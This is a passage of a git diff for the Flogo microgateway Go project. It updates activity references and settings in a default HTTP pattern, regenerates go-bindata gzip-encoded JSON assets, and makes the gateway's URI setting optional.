$.CircuitBreaker.outputs.tripped == true", "error": true, "output": { "code": 403, @@ -79,7 +75,7 @@ "error": false, "output": { "code": 200, - "data": "=$.HttpBackend.response.body" + "data": "=$.HttpBackend.outputs.result" } } ], @@ -87,26 +83,32 @@ { "name": "RateLimiter", "description": "Rate limiter", - "ref": "github.com/project-flogo/microgateway-contrib/activity/ratelimiter" + "ref": "github.com/project-flogo/microgateway/activity/ratelimiter", + "settings": { + "limit": "=$.conf.rateLimit" + } }, { "name": "JWTValidator", "description": "Validate some tokens", - "ref": "github.com/project-flogo/microgateway-contrib/activity/jwt" + "ref": "github.com/project-flogo/microgateway/activity/jwt" }, { "name": "CircuitBreaker", "description": "Circuit breaker service", - "ref": "github.com/project-flogo/microgateway-contrib/activity/circuitbreaker", + "ref": "github.com/project-flogo/microgateway/activity/circuitbreaker", "settings": { - "mode": "a", - "context": "get" + "mode": "a" } }, { "name": "HttpBackend", "description": "Make an http call to your backend", - "ref": "github.com/project-flogo/microgateway-contrib/activity/http" + "ref": "github.com/project-flogo/contrib/activity/rest", + "settings": { + "method": "GET", + "uri": "=$.conf.backendUrl" + } } ] } diff --git a/internal/pattern/assets.go b/internal/pattern/assets.go index 087f695..0eb9f7e 100644 --- a/internal/pattern/assets.go +++ b/internal/pattern/assets.go @@ -67,7 +67,7 @@ func (fi bindataFileInfo) Sys() interface{} { return nil } -var _defaulthttppatternJson = []byte("\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\xff\xbc\x56\x4d\x4f\xdb\x4c\x10\xbe\xe7\x57\xcc\xbb\x8a\xe0\x02\x0e\xef\xc7\x29\x52\x0e\x2f\x14\xa9\xa2\xad\x54\x21\x5a\x0e\x55\x0f\xe3\xf5\x24\x5e\xb2\xf1\xba\xbb\xe3\x84\x14\xf2\xdf\xab\xdd\xd8\xc1\x31\xc6\x04\x48\x7b\x01\xc9\x3b\x1f\xcf\xf3\xcc\x57\xee\x7a\x00\x22\xc3\x19\x89\x21\x88\x77\x34\xc6\x42\xf3\x7b\xe6\xfc\x33\x32\x93\xcd\xc4\x91\x7f\x77\x4c\xb9\x13\x43\xf8\xd6\x03\x00\xb8\x0b\x7f\x01\x84\x1a\x7b\xa7\x7e\x24\x4d\x36\x8e\x0a\x47\x97\xc8\xf4\x51\xcd\x14\x93\x85\xd1\x08\xd8\x16\x14\xfc\x83\xb1\x23\x3b\x57\x32\xa4\xa9\xd9\x3d\xbc\xab\x2c\x2f\x58\x0c\x37\xd1\x01\x04\x9b\x29\x65\xde\x61\xa2\x4d\x8c\x7a\x63\x0b\x20\xb4\x77\xf7\x4f\xa3\x32\xbd\xad\x62\x8a\xd2\x68\x15\xfe\xaf\x8e\xba\x21\x5f\x5c\x5f\x75\x42\xbd\xb8\xbe\xfa\x8a\x5a\x25\xc8\x66\x47\xac\xa3\x7e\x94\xe3\x52\x1b\x4c\xa2\x94\x30\x21\x1b\xfd\x5f\x70\x6a\xac\xfa\x89\xac\x4c\x56\x27\x31\xa5\x65\x9d\xc2\xcd\x82\x3f\xd0\xf2\x65\xf8\xcf\x94\x95\x85\xe2\x53\x4b\x38\x7d\x46\xf5\x6d\x53\xf1\x12\x79\xc6\xa8\x1d\xc1\xfd\x3d\xf4\xa3\xba\x20\x91\x25\x97\x9b\xcc\x51\x34\xf7\x9f\x3a\xb3\xfb\x9e\x3a\x45\x39\xa5\x2c\xe9\xd4\xb1\xb0\xba\xae\x49\xbc\x76\xf9\x62\xb7\xaa\x9f\x11\x9f\x5b\x6b\xac\x18\x86\x84\x7b\x50\x0c\x0e\x0e\xa0\x1f\xd5\x40\x3e\x70\xab\x92\xc1\x5f\x23\x38\x3c\xdc\x45\xda\x2e\x7e\x26\x27\xbb\x6e\x84\x21\x08\x69\x8a\x8c\xab\x5a\xfc\x7e\x02\xa3\xbd\x13\xb0\xe4\xa8\x39\x71\x3d\x80\xef\x61\x6b\x54\x00\x3a\x36\x47\x6d\x13\x44\x61\xa4\x2f\x09\x65\x4a\x2d\xad\x44\xb5\x7a\x6f\x3e\x9a\x82\x1f\xe1\x93\x26\xf1\x94\xfe\x3b\xf9\xb7\xd6\x30\x09\x32\x6e\x99\x85\xa5\x86\x5c\xb8\x6a\x1f\x41\x80\x01\xe7\xb7\x92\x28\xa1\x04\x8e\xe1\x2a\x25\x28\x25\x82\xa5\x29\x20\xc5\x39\x81\xa5\x1f\x05\x39\xa6\x04\x94\x03\x33\x27\x0b\x9c\x12\xa0\xd6\x66\x41\x09\x04\x0a\x91\xd8\x64\x59\xbd\x76\x17\xad\xab\xf9\xcc\xac\x85\xa9\x7c\x8b\x42\x7f\x3f\xa3\x50\x15\xd1\x4f\x63\x2b\x96\xd7\x32\xed\x6a\xe1\xed\xb7\x88\xad\xca\xf3\x3f\xd3\x10\x1b\xba\x72\x0d\x01\xe2\x12\x5f\x89\x61\x57\xb6\x55\x9c\x50\x9f\x5d\xa0\xfd\x73\x72\xf2\x18\x9a\x17\xbd\x75\x9c\x63\x93\x34\x8f\xc4\x66\xe4\xca\x7e\x6d\x99\xb8\xea\xc4\xb7\xde\xde\x84\x9c\xb4\x2a\xaf\xa6\x3a\xcc\x83\x6e\x1a\x59\x0a\x55\x9c\x28\x4e\x8b\x38\x92\x66\x36\xc8\xad\xb9\x21\xc9\xc7\x63\x6d\x26\x66\x30\x53\xd2\x9a\x09\x32\x2d\x70\x79\x2c\x4d\xc6\x56\xc5\x03\x94\xac\xe6\x8a\x97\x03\x7f\x9f\xab\x90\xad\xaa\x55\x00\xdb\x2f\x6e\x03\x61\x69\x41\xe0\xcc\x8c\x20\xdc\x5e\xb7\x2f\xa4\x37\x0b\xee\x46\xf8\xd4\xb2\x6c\x60\x3c\x6b\x74\x51\xb5\x6e\xf7\x04\xb3\x6c\xd2\xb8\x89\xc2\x11\xb3\xca\x26\x6e\xbb\xd3\x66\xeb\x4e\x13\x58\x3f\xa3\x3e\x26\xdd\x86\x9f\x51\x93\x47\x6b\xfc\x09\xf2\xad\x77\xbc\xc1\xfc\x13\x4e\x09\x30\x83\x94\x39\x07\x89\x5a\x03\x1b\xbf\x42\x2d\xc4\x4d\xcf\xb7\x69\xe0\x13\x88\x87\x11\xe8\xad\x7a\xbf\x02\x00\x00\xff\xff\xd1\x73\x95\x1e\xcf\x0a\x00\x00") +var _defaulthttppatternJson = []byte("\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\xff\xbc\x56\x4b\x6f\xe2\x48\x10\xbe\xf3\x2b\x2a\x2d\x14\x6d\xa4\xc4\x64\x1f\x27\x24\x0e\x9b\x6c\xb4\xab\xec\x46\x5a\x45\xcc\xe4\x30\x9a\x43\xd1\x2e\x70\x87\xc6\xed\xe9\xae\x86\x61\x12\xfe\xfb\xc8\x8d\x4d\x8c\x63\x0c\x09\xa3\xb9\xe4\xd1\x5d\xd5\xf5\x7d\x5f\xbd\xfc\xd4\x01\x10\x29\xce\x48\xf4\x41\xfc\x45\x63\xf4\x9a\xff\x61\xce\xfe\x47\x66\xb2\xa9\x38\xcf\xef\x1d\x53\xe6\x44\x1f\x3e\x75\x00\x00\x9e\xc2\x4f\x00\xa1\xc6\xb9\x53\x37\x92\x26\x1d\x47\xde\xd1\x3d\x32\xfd\xa7\x66\x8a\xc9\xc2\x60\x00\x6c\x3d\x05\xff\x60\xec\xc8\xce\x95\x0c\x61\x2a\x76\x2f\xf7\x2a\xcd\x3c\x8b\xfe\xe6\x75\x00\xc1\x66\x4a\x69\xee\x30\xd1\x66\x84\x5a\x14\x37\xab\xf0\x7b\x75\xde\x0e\xe6\xf6\x61\xd8\x0a\xe2\xf6\x61\xf8\x11\xb5\x8a\x91\xcd\x81\x28\x06\xdd\x28\xc3\xa5\x36\x18\x47\x09\x61\x4c\xd6\x45\x7f\x7a\x4e\x8c\x55\xdf\x90\x95\x49\x37\xaf\x00\x88\x29\x2d\x0b\x97\x80\xe7\x71\xc1\xff\xd2\xf2\x6d\x04\xae\x95\x95\x5e\xf1\x95\x25\x9c\xee\x11\x74\xdb\x54\xbc\x45\x9f\x31\x6a\x47\xf0\xfc\x0c\xdd\xa8\xaa\x48\x64\x3c\x67\x9e\x5d\x34\xcf\x4f\x5a\x83\xe7\xd5\x72\x85\x72\x4a\x69\xfc\x72\x9f\xa0\xce\x65\x14\xbf\x74\xa3\xca\x7d\x44\xd6\x1a\x0b\x27\x03\x48\x95\x3e\x83\xd3\x53\x38\x09\x27\x91\x72\x29\x71\xf8\xb3\xc9\xe1\xec\x30\x46\xcd\x82\xe5\x51\x76\x83\x38\x44\xce\xb6\xe2\x30\x19\xd9\x75\xf2\xfb\x20\xa4\xf1\x29\x97\xfa\x1f\x97\xe6\x5d\xa8\x07\x3f\x1e\xb5\x25\x47\x5c\xc3\xdc\x01\xf8\x1c\x3a\xdf\x92\xcb\x4c\xea\xa8\xa5\xfb\x2b\xdd\xbc\xa9\x1a\x9d\xff\x7f\x4f\x28\x13\x6a\x28\x9e\x40\x45\xf4\xc3\xe9\xe6\x70\xed\xba\x8d\x53\x9a\x38\xa7\xf6\xc7\xe5\xef\x95\xd6\x8a\x91\x71\xcb\x2c\x0c\x28\x64\xef\xca\xd9\x02\x01\x0e\xdc\x7c\x95\x44\x31\xc5\x70\x01\xc3\x84\xa0\x90\x0a\x96\xc6\x43\x82\x73\x02\x4b\x5f\x3c\x39\xa6\x18\x94\x03\x33\x27\x0b\x9c\x10\xa0\xd6\x66\x41\x31\x04\x0a\x91\xd8\x44\x59\xbd\x77\xfa\xac\x53\xd9\xde\x5c\xa1\x0b\x8f\x11\xe8\xd7\x3d\x02\x95\x2f\xe6\x13\xa9\x11\x4a\x30\xb8\x23\xe7\x70\x42\xef\x25\xdd\x56\xca\xdb\x77\x9b\xb0\x6c\x55\x96\xfd\x9c\x1a\xd9\x48\x20\xd7\x50\x60\x54\xe0\x2c\x30\x1c\xca\xba\x7c\x27\xe4\xec\x10\x68\xbf\x5d\x5e\xbe\x86\x96\x27\xa2\xda\xde\xa5\x20\x96\x9c\xd7\x3b\xdb\xb1\xa8\xe1\x86\x6e\x2c\x57\x78\xe3\x6e\x8d\xc9\x49\xab\xb2\xb2\xe3\x43\x8f\xe8\xba\x91\xa5\x90\xce\x89\xe2\xc4\x8f\x22\x69\x66\xbd\xcc\x9a\x47\x92\x7c\x31\xd6\x66\x62\x7a\x33\x25\xad\x99\x20\xd3\x02\x97\x3d\x94\xac\xe6\x8a\x97\x3d\x8b\x4c\xaf\x9e\x72\xc4\xac\xd2\x89\xdb\x96\x23\x98\x55\xb7\xa2\x2d\xb1\xb6\x4f\xcc\x92\x5a\xf3\xc6\xae\x71\x2b\x2c\x08\x9c\x99\x11\x84\xdd\xed\x8e\xe5\xf8\xb8\xe0\xe6\x0d\x54\x22\xdb\x35\x7a\x6b\xd8\xae\x6b\x85\x57\x0e\xef\x23\xe1\x15\xf5\x3c\xaa\x47\x6f\xce\xc2\x6c\x5d\x94\x02\x0f\x13\xbd\x71\xbb\xd7\x78\xdd\xe1\x94\x00\x53\x48\x98\x33\x90\xa8\x35\xb0\xc9\xc7\xac\x85\x51\xdd\x73\x1f\x43\x69\x52\xb6\x6a\x54\xa9\x2f\x72\xbc\x97\x12\x71\x62\xe2\xfc\xdd\xbf\x6f\x86\xd5\xaf\x30\x6f\x55\xb5\xde\x0a\x34\x1f\x6c\xfd\x53\x32\xef\xaf\xce\xaa\xf3\x3d\x00\x00\xff\xff\x9a\x56\x9e\xf8\x0c\x0b\x00\x00") func defaulthttppatternJsonBytes() ([]byte, error) { return bindataRead( @@ -82,12 +82,12 @@ func defaulthttppatternJson() (*asset, error) { return nil, err } - info := bindataFileInfo{name: "DefaultHttpPattern.json", size: 2767, mode: os.FileMode(420), modTime: time.Unix(1540246150, 0)} + info := bindataFileInfo{name: "DefaultHttpPattern.json", size: 2828, mode: os.FileMode(420), modTime: time.Unix(1541016267, 0)} a := &asset{bytes: bytes, info: info} return a, nil } -var _defaultchannelpatternJson = []byte("\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\xff\xb4\x55\x4f\x6f\x1a\x3f\x10\xbd\xf3\x29\x26\x16\x4a\x2e\xc9\x92\xdf\xaf\x3d\x21\x71\x48\xe8\xa5\xa9\xaa\x56\x4a\xd4\x1c\xaa\x1e\x06\xef\x00\x0e\x8b\xbd\xb2\xc7\xd0\x6d\xc2\x77\xaf\xd6\xfb\x07\x58\x16\x42\x54\x72\x01\xad\x3d\x33\x7e\xef\xcd\x1b\xfb\xb9\x03\x20\x34\xce\x49\xf4\x41\x7c\xa2\x31\xfa\x84\x87\x53\xd4\x9a\x92\xef\xc8\x4c\x56\x8b\xcb\x3c\xc4\x31\xa5\x4e\xf4\xe1\x67\x07\x00\xe0\x39\xfc\x02\x08\x35\xce\xf3\xba\x91\x34\x7a\x1c\x79\x47\x77\x8f\x0f\x30\x18\x00\x5b\x4f\x21\x2f\x04\x39\xb2\x0b\x25\xc3\x09\x77\x8f\x0f\x3f\x30\x51\x31\xb2\xb1\xeb\x00\xa5\x53\xcf\xa2\x5f\x97\x05\x10\x6c\x66\xa4\xf3\x8c\x41\x37\x4a\x31\x4b\x0c\xc6\xd1\x94\x30\x26\x1b\xdd\x78\x9e\x1a\xab\xfe\x20\x2b\xa3\xeb\x22\x00\x62\x46\x59\x99\x11\xe0\x3c\x2d\xf9\x0b\x65\xa2\xdc\x5f\x85\xff\xd5\xe5\x61\xfc\x43\x65\xa5\x57\x7c\x6b\x09\x67\x64\x0f\x52\xd9\x0e\x15\x47\x95\x2f\xe5\x19\x63\xe2\x08\x5e\x5e\xa0\x1b\x6d\x0a\x12\x59\x72\xa9\xd1\x8e\xa2\x45\xbe\x74\xf0\xf4\x1b\x99\xb3\xbf\x45\x39\x23\x1d\x1f\x54\x32\x2c\xb9\xad\x35\x00\x21\x8b\x1e\xe7\xa5\x98\x1c\x6f\xc8\x08\x20\x16\x98\x78\xaa\xb7\xea\x9d\xd5\x09\xa4\x84\xf3\x73\xe8\x46\x5b\xe8\xd7\xb4\xc9\x5a\x63\xe1\x6c\x00\x17\x17\xc7\x48\x7e\x88\xb5\x49\xc9\x16\x06\xe9\x83\x90\xc6\x6b\xae\x7a\xf4\xee\xf8\x07\x27\xc7\x6f\xc9\x11\x37\xd0\x77\x00\x7e\x85\xc9\xac\x4e\x7f\xdb\x74\x16\x3c\x5e\x71\x5f\xf0\xe9\x1a\x66\xa0\x27\xfa\x21\xbf\x5e\x34\x9e\x77\xc0\x4b\x13\xe7\x7c\x3f\x5e\xff\xb7\x31\x9d\x31\x32\x36\x5d\x58\x55\xcc\x67\xb6\x15\xcb\x7b\x98\x6f\x7b\x2f\x62\xab\xd2\x94\x5a\xa6\xed\xed\x74\x3f\x1c\x4b\x57\x16\x10\x60\x54\xe2\x2b\x31\x1c\xcb\xb6\xaa\x13\xfa\x73\x0c\xb4\xff\xaf\xaf\x5f\x81\x56\x0b\xde\x07\x71\xef\xa5\x24\xe7\xce\xf6\xc2\xa9\xbd\x57\x7a\xbb\xc5\x7a\xd5\x93\xd2\x7e\xe1\xc7\xe4\xa4\x55\x69\xe5\xef\x32\x82\xc0\x99\x39\x41\xb8\xfa\xdd\x3a\xd8\x52\x68\xee\x44\xf1\xd4\x8f\x22\x69\xe6\xbd\xd4\x9a\x27\x92\x7c\x35\x4e\xcc\xc4\xf4\xe6\x4a\x5a\x33\x41\xa6\x25\x66\x57\xd2\x68\xb6\x6a\xd4\x43\xc9\x6a\xa1\x38\xeb\x3d\x2d\xb9\xfd\x6e\xae\x10\xee\x1b\xca\x06\xc6\x61\xa3\x65\xd5\x58\x9f\x08\x66\xe9\x88\x51\x13\x85\x23\x66\xa5\x27\xdb\xf7\xb7\x98\x17\x6d\x15\xb8\xf9\xfc\xe5\x35\xe9\x37\x07\x10\x3b\xd7\xc5\x1e\xf2\x7b\x9e\x91\x06\xf7\xaf\x38\x23\x40\x0d\x18\xa2\x41\x62\x92\x00\x1b\xc8\x8c\xb7\x30\x6a\xe6\xfe\x9b\x0e\x21\xa6\xfa\x7a\x4d\x86\xdd\xa3\x1e\x3e\xdf\x0e\xbf\xdd\x9b\x31\x2f\xd1\x52\x51\xac\x45\xeb\xf2\xed\xdb\x35\x75\x67\xd5\xf9\x1b\x00\x00\xff\xff\x5d\xcd\x93\xa5\x11\x09\x00\x00") +var _defaultchannelpatternJson = []byte("\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\xff\xac\x55\xcd\x6e\xdb\x3c\x10\xbc\xfb\x29\x36\x84\x91\x53\x3e\x39\x5f\xdb\x93\x01\x1f\x92\xf4\x94\x22\x40\x81\x06\xcd\xa1\xe8\x61\x4d\xad\x6d\xda\x32\x29\x90\x4b\x1b\x6a\xe2\x77\x2f\x44\xfd\xd8\x12\x64\x45\x81\x7b\xb1\x01\x72\x7f\x66\x66\x67\xc5\xd7\x11\x80\xd0\xb8\x25\x31\x05\xf1\x95\x16\xe8\x13\x7e\x58\xa1\xd6\x94\x7c\x47\x66\xb2\x5a\xdc\xe4\x21\x8e\x29\x75\x62\x0a\xbf\x46\x00\x00\xaf\xe1\x17\x40\xa8\x45\x9e\x37\x8e\xa4\xd1\x8b\xc8\x3b\x7a\x7c\x79\x86\xd9\x0c\xd8\x7a\x0a\x79\x21\xc8\x91\xdd\x29\x19\x3a\x3c\xbe\x3c\xff\xc4\x44\xc5\xc8\xc6\x1e\x03\x94\x4e\x3d\x8b\x69\x5d\x16\x40\xb0\xd9\x90\xce\x33\x66\xe3\x28\xc5\x2c\x31\x18\x47\x2b\xc2\x98\xac\x8b\xee\x3c\xaf\x8c\x55\x7f\x90\x95\xd1\x75\x15\x00\xb1\xa1\xac\x4c\x09\x78\xd6\x7b\xfe\x46\x99\x28\xef\x0f\xe1\xff\x70\xd3\x4f\xe0\x41\x59\xe9\x15\xdf\x5b\xc2\x0d\xd9\x5e\x2e\xcd\x50\x31\xa8\x7c\xa9\xcf\x02\x13\x47\xf0\xf6\x06\xe3\xe8\x54\x91\xc8\x78\x4e\x3d\xbb\x68\x97\x9f\xf4\x36\xbf\x93\x39\xf9\x7b\x94\x1b\xd2\x71\xaf\x92\xe1\xc8\x35\xce\x00\x84\x2c\x66\x9c\x97\x62\x72\x7c\xa2\x22\x80\xd8\x61\xe2\xa9\xbe\xaa\x6f\x0e\x95\x92\x75\xbb\x15\x26\x79\x37\x11\xf8\x0c\x53\xa0\x5b\x60\xb8\xbe\x86\x71\xd4\x20\x15\x91\xb5\xc6\xc2\xd5\x0c\xb4\x4a\x86\x0c\xa0\x4f\x04\x93\x92\x2d\xec\x32\x05\x21\x8d\xd7\x5c\x4d\xec\x32\x63\x9c\xc7\x3d\xfb\xf7\xb8\x2d\x39\xe2\x16\xea\x11\xc0\xef\xb0\xa0\x96\x5c\x6a\xb4\xa3\x8f\x2d\x69\x81\xbf\xdf\x83\xc5\x70\x6b\x94\x81\x9e\x98\x86\xf4\xfa\xb0\x48\x6a\x62\x97\x26\xce\xe9\x7e\xb9\xfd\xff\x64\x45\x63\x64\x6c\x7b\xb1\xaa\x98\x2f\x6e\x27\x94\x10\xf0\x44\xce\xe1\x92\x3a\xec\x78\xf1\xfc\x9a\x77\x75\x5b\xb6\x2a\x4d\xa9\x63\x0f\x3f\x2e\xc1\xe7\xa1\x12\xc8\x02\x0a\xcc\x4b\x9c\x25\x86\xa1\xac\xab\x3a\x61\x66\x43\xa0\x7d\xba\xbd\x7d\x07\x5a\x65\xac\x1c\xdd\x0f\x2f\x25\x39\x77\x75\x16\x4e\x6d\xc7\xd2\xee\x1d\x6e\xac\x1e\x9b\xee\xa7\x20\x26\x27\xad\x4a\x2b\xcb\x97\x11\x04\xce\x6c\x09\xc2\xa3\xe0\x8e\xc1\x96\xc2\x90\x97\x8a\x57\x7e\x1e\x49\xb3\x9d\xa4\xd6\xac\x49\xf2\x7f\x8b\xc4\x2c\xcd\x64\xab\xa4\x35\x4b\x64\xda\x63\x36\x41\xc9\x6a\xa7\x38\x9b\xac\xf7\xdc\xfd\xa9\xaa\x90\x9d\xdb\xcf\x16\xb6\x87\xd6\xa8\xaa\x0d\xbf\x10\x5e\xe9\x80\x79\xbb\xbb\x23\x66\xa5\x97\xcd\x2f\xb9\xd8\x16\x63\x14\xd8\xff\x35\xab\xa8\x9d\x79\x36\x5a\xcc\x9e\x70\x43\x80\x1a\x30\x44\x83\xc4\x24\x01\x36\x90\x19\x6f\x61\xde\xce\x7d\x8f\xa5\x34\x9a\xad\x9a\x9f\x10\x2c\x9f\x9e\xa3\x63\x46\x87\xd1\xdf\x00\x00\x00\xff\xff\xd9\x8a\xd0\x63\x88\x08\x00\x00") func defaultchannelpatternJsonBytes() ([]byte, error) { return bindataRead( @@ -102,7 +102,7 @@ func defaultchannelpatternJson() (*asset, error) { return nil, err } - info := bindataFileInfo{name: "DefaultChannelPattern.json", size: 2321, mode: os.FileMode(420), modTime: time.Unix(1540246289, 0)} + info := bindataFileInfo{name: "DefaultChannelPattern.json", size: 2184, mode: os.FileMode(420), modTime: time.Unix(1541016367, 0)} a := &asset{bytes: bytes, info: info} return a, nil } diff --git a/metadata.go b/metadata.go index 1b7a201..07d7f13 100644 --- a/metadata.go +++ b/metadata.go @@ -2,7 +2,7 @@ package microgateway // Settings are the settings for the microgateway type Settings struct { - URI string `md:"uri,required"` + URI string `md:"uri"` Pattern string `md:"pattern"` Async bool `md:"async"` }